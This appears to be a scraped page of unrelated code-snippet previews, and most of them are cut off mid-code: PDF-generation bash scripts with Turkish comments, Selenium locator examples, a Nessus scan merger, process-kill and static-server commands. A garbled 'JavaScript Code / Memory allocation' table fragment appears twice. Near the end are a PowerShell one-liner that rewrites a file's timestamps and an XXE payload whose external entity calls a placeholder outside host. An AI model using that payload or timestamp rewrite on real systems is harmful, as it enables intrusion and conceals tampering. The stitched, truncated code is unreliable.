JavaScript Code
var str = "hi";Memory allocation:
| Address | Value | Description |
|---|---|---|
...... |
... |
| #!/bin/bash | |
| # Jekyll girdilerinden pdf üret. | |
| # Örnek: <betik> 9/_posts/2010-11-14-kramdown.md | |
| PATH=/var/lib/gems/1.8/bin:$PATH | |
| [ $# -gt 0 ] || { | |
| echo >&2 "Kullanım: $0 <jekyll markdown dosyası>" | |
| echo >&2 "Örnek: $0 9/_posts/2010-11-14-kramdown.md" |
| #!/bin/bash | |
| # markdown ile yazılan dosyalardan pdf üret. | |
| # Örnek: <betik> ~/examples.md | |
| PATH=/var/lib/gems/1.8/bin:$PATH | |
| [ $# -gt 0 ] || { | |
| echo >&2 "Kullanım: $0 < markdown dosyası>" | |
| echo >&2 "Örnek: $0 ~/examples.md" |
| ### Locating UI elements ### | |
| # By ID | |
| <div id="coolestWidgetEvah">...</div> | |
| element = driver.find_element_by_id("coolestWidgetEvah") | |
| or | |
| from selenium.webdriver.common.by import By | |
| element = driver.find_element(by=By.ID, value="coolestWidgetEvah") | |
| # By class name: |
| # file: merger.py | |
| # based off: http://cmikavac.net/2011/07/09/merging-multiple-nessus-scans-python-script/ | |
| # by: mastahyeti | |
| import xml.etree.ElementTree as etree | |
| import shutil | |
| import os | |
| first = 1 | |
| for fileName in os.listdir("."): |
| #For example, we want to kill Netbeans | |
| ps -ef | grep beans | awk ' $6 != "ttys000" {print$2;}' | xargs kill {} | |
| #Or get the first line only (to aovid getting grep command itself) | |
| ps -ef | grep beans | head -n 1 | awk ' {print$2}' | xargs kill {} |
JavaScript Code
var str = "hi";Memory allocation:
| Address | Value | Description |
|---|---|---|
...... |
... |
Each of these commands will run an ad hoc http static server in your current (or specified) directory, available at http://localhost:8000. Use this power wisely.
$ python -m SimpleHTTPServer 8000| PowerShell.exe -com {$file=(gi c:\demo\test.txt);$date='01/03/2006 12:12 pm';$file.LastWriteTime=$date;$file.LastAccessTime=$date;$file.CreationTime=$date} |
| -------------------------------------------------------------- | |
| Vanilla, used to verify outbound xxe or blind xxe | |
| -------------------------------------------------------------- | |
| <?xml version="1.0" ?> | |
| <!DOCTYPE r [ | |
| <!ELEMENT r ANY > | |
| <!ENTITY sp SYSTEM "http://x.x.x.x:443/test.txt"> | |
| ]> | |
| <r>&sp;</r> |